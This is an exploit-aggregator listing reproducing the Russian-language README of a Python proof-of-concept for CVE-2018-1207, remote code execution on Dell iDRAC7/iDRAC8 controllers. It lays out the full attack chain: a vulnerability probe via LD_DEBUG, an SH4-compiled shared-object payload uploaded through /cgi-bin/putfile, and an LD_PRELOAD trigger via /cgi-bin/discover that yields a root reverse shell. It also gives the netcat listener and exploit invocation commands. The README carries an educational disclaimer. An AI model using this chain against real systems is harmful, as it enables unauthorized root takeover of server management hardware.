Sploitus

Exploit for CVE-2018-1207-better

kitploit · 2026-09-03

Exploit Code

MARKDOWN81 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HIRONULL-CVE-2018-1207-BETTER
# Эксплойт PoC для CVE-2018-1207: Dell iDRAC7/iDRAC8 RCE (обратный шелл)

Этот репозиторий содержит скрипт Proof of Concept на Python для демонстрации эксплойта удалённого выполнения кода в устройствах iDRAC7 и iDRAC8 с версиями прошивки 2.52.52.52 и ниже. Этот эксплойт позволяет атакующему выполнять код от имени пользователя root, что может привести к полному захвату системы. В коде мы показываем это, запуская атаку с обратным шеллом с помощью эксплойта. Код в этом репозитории представляет собой отредактированную версию оригинального эксплойта от Michael Gargiullo (mgargiullo).

**Отказ от ответственности** — Этот код предоставлен исключительно в образовательных целях. Вы не можете использовать этот скрипт для атак на устройства, которые вам не принадлежат или на которые у вас нет явного письменного согласия. Использование этого скрипта в системах без надлежащего разрешения незаконно. Я не несу ответственности за любое неправомерное использование или ущерб, причинённый этим инструментом. Несанкционированное использование может привести к серьёзным правовым последствиям, включая штрафы и тюремное заключение.

## Как работает этот эксплойт?

  1. Эксплойт сначала проверяет, уязвима ли цель. Он отправляет запрос на страницу входа с особым параметром: `?LD_DEBUG=files`. Если в ответе содержится отладочная информация, показывающая, какие файлы библиотек он пытается загрузить, значит, устройство уязвимо.
  2. После завершения проверки, если устройство уязвимо, скрипт создаёт файл с кодом на C, который будет выполнен на устройстве при срабатывании эксплойта, что приведёт к соединению через обратный шелл.
  3. Затем мы компилируем созданный файл с кодом на C с помощью `sh4-linux-gnu-gcc`. Поскольку iDRAC работает на процессорной архитектуре SuperH (SH4), нам нужно скомпилировать код в разделяемый объект (`.so`), чтобы он мог быть выполнен iDRAC.
  4. После завершения компиляции мы можем загрузить файл, отправив `POST`-запрос на `/cgi-bin/putfile`, который сохраняет файл в `/tmp/sshpkauthupload.tmp`.
  5. После загрузки файла мы отправляем ещё один `GET`-запрос на `/cgi-bin/discover` с параметром `?LD_PRELOAD=/tmp/sshpkauthupload.tmp`. Это заставляет iDRAC загрузить указанную библиотеку перед любой другой, что загружает модифицированный файл `.so` из каталога `/tmp/`.
  6. Поскольку код полезной нагрузки находится в функции `constructor`, код выполняется мгновенно после загрузки, что приводит к обратному шеллу от имени пользователя `root` (пользователь с наивысшими привилегиями в Linux-системе).



## Требования

Перед запуском скрипта убедитесь, что у вас есть следующее:

  * Python3

  * Модуль requests для Python3 (можно установить через `pip install requests`)

  * SH4 C Cross-Compiler (можно установить через `sudo apt install gcc-sh4-linux-gnu`)

Без этих требований у вас возникнут проблемы, и эксплойт не сможет полностью выполниться! Проверки на соответствие этим требованиям не реализованы.




## Использование

  1. Запустите слушатель на своей машине, чтобы принять обратный шелл. Используйте для этого netcat.

root@kitploit:~
         
         nc -lvnp <LPORT>
         

Замените `<LPORT>` на порт, который вы хотите слушать (например, `5000`).

  2. Запустите скрипт с необходимыми аргументами.

root@kitploit:~
         
         python3 cve-2018-1207.py --rhost <RHOST> --rport <RPORT> --lhost <LHOST> --lport <LPORT>
         




### Аргументы

  * `--rhost`: IP-адрес целевого iDRAC.
  * `--rport`: Порт веб-интерфейса iDRAC (обычно `443`).
  * `--lhost`: Ваш локальный IP-адрес для подключения обратного шелла.
  * `--lport`: Ваш локальный порт, на котором работает слушатель Netcat.
  * `--keep-payload`: (Необязательно) Если указан, скрипт не будет удалять файлы `payload.c` и `payload.so` с вашей машины после выполнения.



### Пример

  1. Машина атакующего (IP: 192.168.1.100) — Запустите слушатель.

root@kitploit:~
         
         nc -lvnp 5000
         

  2. Машина атакующего — Запустите эксплойт, направленный на iDRAC по адресу `192.168.1.50`.

root@kitploit:~
         
         python3 cve-2018-1207.py --rhost 192.168.1.50 --rport 443 --lhost 192.168.1.100 --lport 5000
         

В случае успеха вы получите сессию шелла в терминале Netcat, где сможете выполнять команды, например `racadm`.